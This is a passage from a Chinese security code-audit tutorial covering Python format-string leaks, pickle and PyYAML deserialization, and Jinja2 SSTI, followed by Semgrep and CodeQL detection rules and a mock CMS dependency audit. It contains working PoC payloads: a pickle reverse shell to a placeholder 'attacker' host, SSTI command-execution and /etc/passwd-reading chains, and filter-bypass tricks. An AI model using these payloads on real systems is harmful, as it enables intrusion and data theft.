\u6c99\u7bb1\u9003\u9038\u6280\u5de7\u4e09：f-string \/ \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6cc4\u9732<\/p>\n

```python
\n# Python \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u53ef\u6cc4\u9732\u5bf9\u8c61\u5c5e\u6027
\nconfig = {'SECRET_KEY': 's3cr3t'}
\nuser_input = '{0.__class__.__init__.__globals__}'
\n# \u5373\u4f7f config \u4e2d\u6ca1\u6709\u8be5\u952e，\u683c\u5f0f\u5316\u4ecd\u53ef\u80fd\u6cc4\u9732\u5185\u90e8\u4fe1\u606f
\nprint(user_input.format(config))
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 eval(\u3001exec(\u3001compile(\u3001__import__(
\n– \u68c0\u67e5\u6c99\u7bb1\u662f\u5426\u771f\u6b63\u9694\u79bb（\u53cd\u5c04\u673a\u5236\u51e0\u4e4e\u603b\u80fd\u7ed5\u8fc7\u9ed1\u540d\u5355）
\n– \u5173\u6ce8 pickle.loads\u3001yaml.load（PyYAML）\u7b49\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u5165\u53e3
\n– \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u5ba1\u8ba1：\u641c\u7d22 .format(\u3001f""，\u68c0\u67e5\u7528\u6237\u662f\u5426\u53ef\u63a7<\/p>\n

\u3010\u8b66\u544a\u3011Python \u6c99\u7bb1\u6781\u96be\u505a\u5230\u771f\u6b63\u5b89\u5168\u3002\u5efa\u8bae\u4e0d\u8981\u4f9d\u8d56\u6c99\u7bb1\u9694\u79bb\u4e0d\u53ef\u4fe1\u4ee3\u7801，
\n\u5e94\u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u7ea7\u9694\u79bb（\u5bb9\u5668\u3001seccomp\u3001\u72ec\u7acb\u865a\u62df\u673a）\u3002<\/p>\n

5.2 pickle \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h3>\n

Python \u7684 pickle \u6a21\u5757\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\u82e5\u5e94\u7528\u53cd\u5e8f\u5217\u5316\u7528\u6237
\n\u53ef\u63a7\u6570\u636e，\u5c06\u5bfc\u81f4 RCE\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```python
\nimport pickle
\nfrom flask import Flask, request<\/p>\n

app = Flask(__name__)<\/p>\n

@app.route('\/load', methods=['POST'])
\ndef load_data():
\n\u00a0 \u00a0 # \u3010\u6f0f\u6d1e\u3011\u76f4\u63a5\u53cd\u5e8f\u5217\u5316\u7528\u6237\u63d0\u4ea4\u7684 pickle \u6570\u636e
\n\u00a0 \u00a0 data = request.get_data()
\n\u00a0 \u00a0 obj = pickle.loads(data)
\n\u00a0 \u00a0 return str(obj)
\n```<\/p>\n

PoC \u6784\u9020（\u5229\u7528 __reduce__ \u9b54\u672f\u65b9\u6cd5）：<\/p>\n

```python
\nimport pickle
\nimport os<\/p>\n

class Exploit:
\n\u00a0 \u00a0 def __reduce__(self):
\n\u00a0 \u00a0 \u00a0 \u00a0 # \u53cd\u5e8f\u5217\u5316\u65f6\u81ea\u52a8\u8c03\u7528 os.system('id')
\n\u00a0 \u00a0 \u00a0 \u00a0 return (os.system, ('id',))<\/p>\n

# \u751f\u6210\u6076\u610f pickle \u6570\u636e
\npayload = pickle.dumps(Exploit())
\n# \u5c06 payload \u4f5c\u4e3a POST body \u53d1\u9001\u5230 \/load \u63a5\u53e3
\n```<\/p>\n

\u8fdb\u9636\u5229\u7528（\u53cd\u5f39 Shell）：<\/p>\n

```python
\nimport pickle, base64<\/p>\n

class Exploit:
\n\u00a0 \u00a0 def __reduce__(self):
\n\u00a0 \u00a0 \u00a0 \u00a0 return (eval, (
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 "__import__('os').popen('bash -i >& \/dev\/tcp\/attacker\/4444 0>&1')",
\n\u00a0 \u00a0 \u00a0 \u00a0 ))<\/p>\n

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9（\u641c\u7d22\u53cd\u5e8f\u5217\u5316\u51fd\u6570）：<\/p>\n

```
\npickle.loads( \u00a0 \u00a0 \u00a0 \u00a0pickle.load( \u00a0 \u00a0 \u00a0 \u00a0 cPickle.loads(
\nyaml.load( \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # PyYAML，\u4e0d\u52a0 Loader=SafeLoader \u5373\u53ef\u6267\u884c\u4efb\u610f\u5bf9\u8c61
\nshelve.open( \u00a0 \u00a0 \u00a0 \u00a0 # \u5e95\u5c42\u4f7f\u7528 pickle
\njsonpickle.decode( \u00a0 # \u7b2c\u4e09\u65b9\u5e93，\u540c\u6837\u5371\u9669
\ndill.loads( \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# pickle \u589e\u5f3a\u7248
\n```<\/p>\n

PyYAML \u6f0f\u6d1e\u793a\u4f8b：<\/p>\n

```python
\nimport yaml<\/p>\n

# \u3010\u6f0f\u6d1e\u3011yaml.load \u9ed8\u8ba4\u4f7f\u7528 FullLoader \u4e4b\u524d\u7248\u672c\u53ef\u6267\u884c\u4efb\u610f Python \u5bf9\u8c61
\ndata = yaml.load(user_input) \u00a0# \u5371\u9669
\n# \u5b89\u5168\u5199\u6cd5
\ndata = yaml.safe_load(user_input) \u00a0# \u5b89\u5168
\n```<\/p>\n

PyYAML RCE PoC：<\/p>\n

```yaml
\n!!python\/object\/apply:os.system ["id"]
\n```<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```python
\n# \u65b9\u6848 1：\u4f7f\u7528 JSON \u66ff\u4ee3 pickle（\u9996\u9009）
\nimport json
\nobj = json.loads(data)<\/p>\n

# \u65b9\u6848 2：\u5982\u5fc5\u987b\u7528 pickle，\u9650\u5236\u53ef\u53cd\u5e8f\u5217\u5316\u7684\u7c7b
\nimport pickle
\nimport io<\/p>\n

class RestrictedUnpickler(pickle.Unpickler):
\n\u00a0 \u00a0 ALLOWED_CLASSES = {
\n\u00a0 \u00a0 \u00a0 \u00a0 ('builtins', 'dict'), ('builtins', 'list'), ('builtins', 'str'),
\n\u00a0 \u00a0 }
\n\u00a0 \u00a0 def find_class(self, module, name):
\n\u00a0 \u00a0 \u00a0 \u00a0 if (module, name) in self.ALLOWED_CLASSES:
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 return super().find_class(module, name)
\n\u00a0 \u00a0 \u00a0 \u00a0 raise pickle.UnpicklingError(f"\u7981\u6b62\u53cd\u5e8f\u5217\u5316 {module}.{name}")<\/p>\n

def safe_loads(data):
\n\u00a0 \u00a0 return RestrictedUnpickler(io.BytesIO(data)).load()<\/p>\n

# \u65b9\u6848 3：PyYAML \u4f7f\u7528 safe_load
\nyaml.safe_load(data)
\n```<\/p>\n

5.3 \u6a21\u677f\u6ce8\u5165（SSTI \/ Jinja2）\u5ba1\u8ba1<\/h3>\n

Flask \u5e38\u7528 Jinja2 \u6a21\u677f\u5f15\u64ce，\u82e5\u7528\u6237\u8f93\u5165\u88ab\u4f5c\u4e3a\u6a21\u677f\u6e32\u67d3，\u5bfc\u81f4 SSTI\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```python
\nfrom flask import Flask, request, render_template_string<\/p>\n

app = Flask(__name__)<\/p>\n

@app.route('\/greet')
\ndef greet():
\n\u00a0 \u00a0 name = request.args.get('name', 'guest')
\n\u00a0 \u00a0 # \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u62fc\u5165\u6a21\u677f\u5b57\u7b26\u4e32
\n\u00a0 \u00a0 template = '<h1>Hello ' + name + '<\/h1>'
\n\u00a0 \u00a0 return render_template_string(template)
\n\u00a0 \u00a0 # PoC: \/greet?name={{7*7}} \u00a0-> \u00a0\u8fd4\u56de Hello 49
\n```<\/p>\n

Jinja2 SSTI RCE \u5229\u7528\u94fe：<\/p>\n

```
\n# 1. \u63a2\u6d4b
\n{{7*7}} \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# \u8fd4\u56de 49 \u786e\u8ba4 SSTI<\/p>\n

# 2. \u83b7\u53d6\u6240\u6709\u5b50\u7c7b（\u627e\u53ef\u5229\u7528\u7c7b）
\n{{''.__class__.__mro__[1].__subclasses__()}}<\/p>\n

# 3. \u5229\u7528 Popen \u6267\u884c\u547d\u4ee4
\n{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()[0]}}
\n# \u5176\u4e2d X \u4e3a subprocess.Popen \u5728\u5b50\u7c7b\u5217\u8868\u4e2d\u7684\u7d22\u5f15<\/p>\n

# 4. \u901a\u7528 RCE（\u901a\u8fc7 builtins）
\n{{cycler.__init__.__globals__.os.popen('id').read()}}<\/p>\n

# 5. \u8bfb\u53d6\u6587\u4ef6
\n{{().__class__.__bases__[0].__subclasses__()[X]('\/etc\/passwd').read()}}<\/p>\n

# 6. \u7ed5\u8fc7\u8fc7\u6ee4（\u4e0b\u5212\u7ebf\u88ab\u8fc7\u6ee4\u65f6）
\n{{()|attr('\\\\x5f\\\\x5fclass\\\\x5f\\\\x5f')}}
\n{{request|attr('application')|attr('\\\\x5f\\\\x5fglobals\\\\x5f\\\\x5f')}}
\n```<\/p>\n

\u5e38\u89c1\u8fc7\u6ee4\u7ed5\u8fc7\u6280\u5de7\u6c47\u603b：<\/p>\n

| \u8fc7\u6ee4\u5185\u5bb9 \u00a0 \u00a0 | \u7ed5\u8fc7\u65b9\u5f0f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n|————–|————————————————|
\n| {{ }} \u00a0 \u00a0 \u00a0 \u00a0| {% if … %}{% endif %} \u6216 {%%} \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| \u4e0b\u5212\u7ebf _ \u00a0 \u00a0 | \\\\x5f \u7f16\u7801\u3001attr() \u51fd\u6570\u3001|attr \u8fc7\u6ee4\u5668 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| \u70b9\u53f7 . \u00a0 \u00a0 \u00a0 | ['xxx'] \u4e2d\u62ec\u53f7\u8bbf\u95ee\u3001|attr \u8fc7\u6ee4\u5668 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| \u5173\u952e\u5b57 class | \\\\x5f\\\\x5fclass\\\\x5f\\\\x5f \u6216 request \u5bf9\u8c61\u56de\u6eaf \u00a0 \u00a0 \u00a0|
\n| \u5f15\u53f7 \u00a0 \u00a0 \u00a0 \u00a0 | request.args.param \u4ece\u8bf7\u6c42\u53c2\u6570\u53d6\u5b57\u7b26\u4e32 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| \u6570\u5b57 \u00a0 \u00a0 \u00a0 \u00a0 | (dict|length) \u7b49\u8868\u8fbe\u5f0f\u751f\u6210\u6570\u5b57 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 render_template_string(\u3001Template(\u3001from_string(
\n– \u533a\u5206"\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f\u4e0a\u4e0b\u6587\u53d8\u91cf"（\u5b89\u5168）\u4e0e"\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f\u5185\u5bb9"（\u6f0f\u6d1e）
\n– \u5b89\u5168\u5199\u6cd5：render_template_string('<h1>Hello {{ name }}<\/h1>', name=name)<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```python
\n# \u65b9\u6848 1（\u63a8\u8350）：\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u4e0a\u4e0b\u6587\u53d8\u91cf\u4f20\u5165
\n@app.route('\/greet')
\ndef greet():
\n\u00a0 \u00a0 name = request.args.get('name', 'guest')
\n\u00a0 \u00a0 return render_template_string('<h1>Hello {{ name }}<\/h1>', name=name)<\/p>\n

# \u65b9\u6848 2：\u4f7f\u7528\u72ec\u7acb\u6a21\u677f\u6587\u4ef6（\u63a8\u8350）
\nreturn render_template('greet.html', name=name)<\/p>\n

# \u65b9\u6848 3：\u542f\u7528 Jinja2 \u6c99\u7bb1\u73af\u5883
\nfrom jinja2.sandbox import SandboxedEnvironment
\nenv = SandboxedEnvironment()
\ntemplate = env.from_string(user_input)
\nreturn template.render()
\n```<\/p>\n

\n——————————————————————————–
\n\u516d\u3001\u4ee3\u7801\u5ba1\u8ba1\u81ea\u52a8\u5316
\n——————————————————————————–<\/h2>\n

\u624b\u5de5\u5ba1\u8ba1\u6548\u7387\u6709\u9650，\u81ea\u52a8\u5316\u5de5\u5177\u80fd\u5927\u5e45\u63d0\u5347\u5ba1\u8ba1\u6548\u7387\u3002\u672c\u8282\u6f14\u793a\u5982\u4f55\u4f7f\u7528
\nSemgrep \u548c CodeQL \u7f16\u5199\u81ea\u5b9a\u4e49\u89c4\u5219\u8fdb\u884c\u81ea\u52a8\u5316\u6f0f\u6d1e\u6316\u6398\u3002<\/p>\n

6.1 \u4f7f\u7528 Semgrep \u7f16\u5199\u81ea\u5b9a\u4e49\u89c4\u5219<\/h3>\n

Semgrep \u662f\u5f00\u6e90\u7684\u8f7b\u91cf\u7ea7\u4ee3\u7801\u626b\u63cf\u5de5\u5177，\u652f\u6301\u81ea\u5b9a\u4e49\u89c4\u5219，\u8bed\u6cd5\u7b80\u6d01，\u9002\u5408
\n\u5feb\u901f\u7f16\u5199\u9488\u5bf9\u7279\u5b9a\u6f0f\u6d1e\u6a21\u5f0f\u7684\u68c0\u6d4b\u89c4\u5219\u3002<\/p>\n

Semgrep \u89c4\u5219\u8bed\u6cd5\u793a\u4f8b（\u68c0\u6d4b PHP eval \u6ce8\u5165）：<\/p>\n

```yaml
\n# eval_injection.yml
\nrules:
\n\u00a0 – id: php-eval-injection
\n\u00a0 \u00a0 patterns:
\n\u00a0 \u00a0 \u00a0 – pattern: eval($INPUT)
\n\u00a0 \u00a0 \u00a0 – pattern-not: eval("…")
\n\u00a0 \u00a0 message: \u68c0\u6d4b\u5230 eval() \u8c03\u7528，\u53ef\u80fd\u5b58\u5728\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e
\n\u00a0 \u00a0 languages: [php]
\n\u00a0 \u00a0 severity: ERROR
\n\u00a0 \u00a0 metadata:
\n\u00a0 \u00a0 \u00a0 cwe: "CWE-94: Improper Control of Generation of Code"<\/p>\n

\u00a0 – id: php-extract-var-overwrite
\n\u00a0 \u00a0 pattern: extract($_GET)
\n\u00a0 \u00a0 message: extract() \u76f4\u63a5\u5904\u7406 $_GET，\u53ef\u80fd\u5bfc\u81f4\u53d8\u91cf\u8986\u76d6
\n\u00a0 \u00a0 languages: [php]
\n\u00a0 \u00a0 severity: WARNING<\/p>\n

\u00a0 – id: python-pickle-deserialization
\n\u00a0 \u00a0 pattern: pickle.loads($DATA)
\n\u00a0 \u00a0 message: pickle.loads \u53cd\u5e8f\u5217\u5316\u53ef\u80fd\u5b58\u5728 RCE \u6f0f\u6d1e
\n\u00a0 \u00a0 languages: [python]
\n\u00a0 \u00a0 severity: ERROR<\/p>\n

\u00a0 – id: java-spel-injection
\n\u00a0 \u00a0 pattern-either:
\n\u00a0 \u00a0 \u00a0 – pattern: $PARSER.parseExpression($USER_INPUT)
\n\u00a0 \u00a0 \u00a0 – pattern: $PARSER.parseExpression($REQ.getParameter(…))
\n\u00a0 \u00a0 message: SpEL \u8868\u8fbe\u5f0f\u53ef\u80fd\u5b58\u5728\u6ce8\u5165\u6f0f\u6d1e
\n\u00a0 \u00a0 languages: [java]
\n\u00a0 \u00a0 severity: ERROR
\n```<\/p>\n

\u8fd0\u884c Semgrep \u626b\u63cf：<\/p>\n

```bash
\n# \u5b89\u88c5
\npip install semgrep<\/p>\n

# \u4f7f\u7528\u81ea\u5b9a\u4e49\u89c4\u5219\u626b\u63cf\u9879\u76ee
\nsemgrep –config eval_injection.yml –json -o results.json .\/target_project<\/p>\n

# \u4f7f\u7528\u793e\u533a\u89c4\u5219\u96c6
\nsemgrep –config p\/php –config p\/java .\/target_project<\/p>\n

# \u4ec5\u8f93\u51fa ERROR \u7ea7\u522b
\nsemgrep –config eval_injection.yml –error .\/target_project
\n```<\/p>\n

6.2 CodeQL \u67e5\u8be2\u793a\u4f8b<\/h3>\n

CodeQL \u662f GitHub \u5f00\u6e90\u7684\u8bed\u4e49\u5316\u4ee3\u7801\u5206\u6790\u5de5\u5177，\u901a\u8fc7\u5c06\u4ee3\u7801\u8f6c\u5316\u4e3a\u6570\u636e\u5e93，
\n\u4f7f\u7528\u7c7b SQL \u8bed\u6cd5（QL \u8bed\u8a00）\u67e5\u8be2\u6f0f\u6d1e\u6a21\u5f0f，\u6570\u636e\u6d41\u5206\u6790\u80fd\u529b\u5f3a\u3002<\/p>\n

CodeQL \u67e5\u8be2\u793a\u4f8b\u4e00（Java SpEL \u6ce8\u5165\u6c61\u70b9\u8ffd\u8e2a）：<\/p>\n

```ql
\n\/**
\n\u00a0* @name SpEL expression injection
\n\u00a0* @kind path-problem
\n\u00a0* @id java\/spel-injection
\n\u00a0*\/
\nimport java
\nimport semmle.code.java.dataflow.TaintTracking
\nimport semmle.code.java.frameworks.spring.SpEL<\/p>\n

class SpelConfig extends TaintTracking::Configuration {
\n\u00a0 \u00a0 SpelConfig() { this = "SpelConfig" }<\/p>\n

\u00a0 \u00a0 override predicate isSource(DataFlow::Node source) {
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6570\u636e\u6e90：HTTP \u8bf7\u6c42\u53c2\u6570
\n\u00a0 \u00a0 \u00a0 \u00a0 source.asParameter().getCallable() instanceof SpringRequestMappingMethod
\n\u00a0 \u00a0 }<\/p>\n

\u00a0 \u00a0 override predicate isSink(DataFlow::Node sink) {
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6c47\u70b9：parseExpression \u8c03\u7528
\n\u00a0 \u00a0 \u00a0 \u00a0 exists(MethodAccess ma |
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 ma.getMethod().hasName("parseExpression") and
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 sink.asExpr() = ma.getArgument(0)
\n\u00a0 \u00a0 \u00a0 \u00a0 )
\n\u00a0 \u00a0 }
\n}<\/p>\n

from SpelConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
\nwhere config.hasFlowPath(source, sink)
\nselect sink.getNode(), source, sink,
\n\u00a0 \u00a0 "SpEL \u6ce8\u5165：\u7528\u6237\u8f93\u5165\u4ece $source \u6d41\u5411 $sink"
\n```<\/p>\n

CodeQL \u67e5\u8be2\u793a\u4f8b\u4e8c（Python pickle \u53cd\u5e8f\u5217\u5316）：<\/p>\n

```ql
\n\/**
\n\u00a0* @name Unsafe pickle deserialization
\n\u00a0* @kind path-problem
\n\u00a0* @id python\/unsafe-pickle
\n\u00a0*\/
\nimport python
\nimport semmle.python.dataflow.new.TaintTracking
\nimport semmle.python.Concepts<\/p>\n

module PickleConfig implements DataFlow::ConfigSig {
\n\u00a0 \u00a0 predicate isSource(DataFlow::Node source) {
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6570\u636e\u6e90：HTTP \u8bf7\u6c42\u4f53
\n\u00a0 \u00a0 \u00a0 \u00a0 exists(Call call |
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 call.getFunc().(Attribute).getName() = "get_data" and
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 source.asExpr() = call
\n\u00a0 \u00a0 \u00a0 \u00a0 )
\n\u00a0 \u00a0 }<\/p>\n

\u00a0 \u00a0 predicate isSink(DataFlow::Node sink) {
\n\u00a0 \u00a0 \u00a0 \u00a0 exists(Call call |
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 call.getFunc().(Attribute).getName() in ["loads", "load"] and
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 call.getFunc().(Attribute).getObject().(Name).getId() = "pickle" and
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 sink.asExpr() = call.getArg(0)
\n\u00a0 \u00a0 \u00a0 \u00a0 )
\n\u00a0 \u00a0 }
\n}<\/p>\n

module PickleFlow = TaintTracking::Global<PickleConfig>;<\/p>\n

from PickleFlow::PathNode source, PickleFlow::PathNode sink
\nwhere PickleFlow::flowPath(source, sink)
\nselect sink.getNode(), source, sink,
\n\u00a0 \u00a0 "pickle \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e：\u7528\u6237\u8f93\u5165\u6d41\u5411 pickle.loads"
\n```<\/p>\n

CodeQL \u6570\u636e\u5e93\u6784\u5efa\u4e0e\u67e5\u8be2\u6d41\u7a0b：<\/p>\n

```bash
\n# 1. \u521b\u5efa CodeQL \u6570\u636e\u5e93（Java \u9879\u76ee）
\ncodeql database create java-db –language=java –command="mvn clean install"<\/p>\n

# 2. \u521b\u5efa\u6570\u636e\u5e93（Python \u9879\u76ee）
\ncodeql database create py-db –language=python –overwirte .\/target_project<\/p>\n

# 3. \u8fd0\u884c\u81ea\u5b9a\u4e49\u67e5\u8be2
\ncodeql database analyze java-db spel-injection.ql –format=sarif-latest -o results.sarif<\/p>\n

# 4. \u67e5\u770b\u7ed3\u679c（SARIF \u683c\u5f0f\u53ef\u5bfc\u5165 VS Code \/ GitHub Code Scanning）
\n```<\/p>\n

\u3010\u63d0\u793a\u3011CodeQL \u7684\u6c61\u70b9\u8ffd\u8e2a（TaintTracking）\u80fd\u81ea\u52a8\u8de8\u51fd\u6570\u8ffd\u8e2a\u6570\u636e\u6d41，
\n\u662f\u6316\u6398\u590d\u6742\u6f0f\u6d1e\u94fe\u7684\u5229\u5668\u3002\u5efa\u8bae\u5148\u5b66\u4e60\u5b98\u65b9\u67e5\u8be2\u5e93（codeql-repo）\u7684\u5199\u6cd5\u3002<\/p>\n

6.3 \u81ea\u52a8\u5316\u5ba1\u8ba1\u6d41\u6c34\u7ebf\u5efa\u8bae<\/h3>\n

```
\n\u5f00\u53d1\u63d0\u4ea4\u4ee3\u7801 -> Git Hook \u89e6\u53d1 Semgrep \u5feb\u901f\u626b\u63cf（\u79d2\u7ea7）
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 -> CI \u6d41\u6c34\u7ebf\u8fd0\u884c CodeQL \u6df1\u5ea6\u5206\u6790（\u5206\u949f\u7ea7）
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 -> \u7ed3\u679c\u805a\u5408\u5230 SonarQube \u8d28\u91cf\u95e8\u7981
\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 -> \u9ad8\u5371\u6f0f\u6d1e\u963b\u65ad\u5408\u5e76，\u4e2d\u5371\u6f0f\u6d1e\u8bb0\u5f55\u8ddf\u8e2a
\n```<\/p>\n

| \u9636\u6bb5 \u00a0 \u00a0 \u00a0 \u00a0 | \u5de5\u5177 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9891\u7387 \u00a0 \u00a0 \u00a0 | \u9608\u503c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n|————–|—————-|————|——————-|
\n| \u672c\u5730\u5f00\u53d1 \u00a0 \u00a0 | Semgrep IDE \u00a0 \u00a0| \u5b9e\u65f6 \u00a0 \u00a0 \u00a0 | \u63d0\u793a \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| \u63d0\u4ea4\u524d \u00a0 \u00a0 \u00a0 | Semgrep CLI \u00a0 \u00a0| \u6bcf\u6b21 commit| ERROR \u963b\u65ad \u00a0 \u00a0 \u00a0 \u00a0|
\n| CI \u6d41\u6c34\u7ebf \u00a0 \u00a0| CodeQL \u00a0 \u00a0 \u00a0 \u00a0 | \u6bcf\u6b21 PR \u00a0 \u00a0| \u9ad8\u5371\u963b\u65ad \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| \u5b9a\u671f\u5168\u91cf \u00a0 \u00a0 | Fortify\/Checkmarx | \u6bcf\u5468\/\u53d1\u5e03\u524d | \u751f\u6210\u5ba1\u8ba1\u62a5\u544a \u00a0 \u00a0 |<\/p>\n

\n——————————————————————————–
\n\u4e03\u3001\u5b9e\u6218\u6848\u4f8b：\u5b8c\u6574\u5ba1\u8ba1\u4e00\u4e2a CMS \u7cfb\u7edf
\n——————————————————————————–<\/h2>\n

\u672c\u8282\u4ee5\u4e00\u4e2a\u6a21\u62df\u7684 Java CMS \u7cfb\u7edf\u4e3a\u4f8b，\u6f14\u793a\u4ece\u8def\u7531\u5206\u6790\u5230\u6f0f\u6d1e\u94fe\u6784\u9020\u7684\u5b8c\u6574
\n\u5ba1\u8ba1\u6d41\u7a0b\u3002<\/p>\n

7.1 \u9879\u76ee\u7ed3\u6784\u5206\u6790<\/h3>\n

```
\ncms-demo\/
\n\u251c\u2500\u2500 pom.xml \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# \u4f9d\u8d56\u7ba1\u7406（\u5ba1\u8ba1\u7b2c\u4e00\u6b65：\u770b\u4f9d\u8d56\u7248\u672c）
\n\u251c\u2500\u2500 src\/main\/java\/com\/cms\/
\n\u2502 \u00a0 \u251c\u2500\u2500 CmsApplication.java \u00a0 \u00a0# \u542f\u52a8\u7c7b
\n\u2502 \u00a0 \u251c\u2500\u2500 config\/
\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 SecurityConfig.java# \u5b89\u5168\u914d\u7f6e（\u5ba1\u8ba1\u91cd\u70b9：\u8ba4\u8bc1\u6388\u6743\u914d\u7f6e）
\n\u2502 \u00a0 \u251c\u2500\u2500 controller\/
\n\u2502 \u00a0 \u2502 \u00a0 \u251c\u2500\u2500 AdminController.java
\n\u2502 \u00a0 \u2502 \u00a0 \u251c\u2500\u2500 ArticleController.java
\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 TemplateController.java
\n\u2502 \u00a0 \u251c\u2500\u2500 service\/
\n\u2502 \u00a0 \u2502 \u00a0 \u251c\u2500\u2500 ArticleService.java
\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 TemplateService.java
\n\u2502 \u00a0 \u251c\u2500\u2500 dao\/
\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 ArticleMapper.java
\n\u2502 \u00a0 \u2514\u2500\u2500 util\/
\n\u2502 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 XmlUtil.java \u00a0 \u00a0 \u00a0 # \u5de5\u5177\u7c7b（\u5ba1\u8ba1\u91cd\u70b9：\u901a\u7528\u5371\u9669\u64cd\u4f5c）
\n\u2502 \u00a0 \u00a0 \u00a0 \u2514\u2500\u2500 SpelUtil.java
\n\u2514\u2500\u2500 src\/main\/resources\/
\n\u00a0 \u00a0 \u251c\u2500\u2500 application.yml
\n\u00a0 \u00a0 \u2514\u2500\u2500 mapper\/
\n```<\/p>\n

7.2 \u7b2c\u4e00\u6b65：\u4f9d\u8d56\u7248\u672c\u5ba1\u8ba1（pom.xml）<\/h3>\n

```xml
\n<!– \u5ba1\u8ba1\u53d1\u73b0：\u5b58\u5728\u5df2\u77e5\u6f0f\u6d1e\u7684\u4f9d\u8d56 –>
\n<dependencies>
\n\u00a0 \u00a0 <!– Fastjson 1.2.47 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e –>
\n\u00a0 \u00a0 <dependency>
\n\u00a0 \u00a0 \u00a0 \u00a0 <groupId>com.alibaba<\/groupId>
\n\u00a0 \u00a0 \u00a0 \u00a0 <artifactId>fastjson<\/artifactId>
\n\u00a0 \u00a0 \u00a0 \u00a0 <version>1.2.47<\/version>
\n\u00a0 \u00a0 <\/dependency>
\n\u00a0 \u00a0 <!– Log4j 2.14.0 \u5b58\u5728 Log4Shell (CVE-2021-44228) –>
\n\u00a0 \u00a0 <dependency>
\n\u00a0 \u00a0 \u00a0 \u00a0 <groupId>org.apache.logging.log4j<\/groupId>
\n\u00a0 \u00a0 \u00a0 \u00a0 <artifactId>log4j-core<\/artifactId>
\n\u00a0 \u00a0 \u00a0 \u00a0 <version>2.14.0<\/version>
\n\u00a0 \u00a0 <\/dependency>
\n\u00a0 \u00a0 <!– Spring Boot 2.3.0 \u5b58\u5728\u591a\u4e2a CVE –>
\n\u00a0 \u00a0 <dependency>
\n\u00a0 \u00a0 \u00a0 \u00a0 <groupId>org.springframework.boot<\/groupId>
\n\u00a0 \u00a0 \u00a0 \u00a0 <artifactId>spring-boot-starter-web<\/artifactId>
\n\u00a0 \u00a0 \u00a0 \u00a0 <version>2.3.0.RELEASE<\/version>
\n\u00a0 \u00a0 <\/dependency>
\n<\/dependencies>
\n```<\/p>\n

\u3010\u6ce8\u610f\u3011\u4f9d\u8d56\u5ba1\u8ba1\u662f\u4ee3\u7801\u5ba1\u8ba1\u7684\u7b2c\u4e00\u6b65，\u4f7f\u7528 OWASP Dependency-Check \u6216
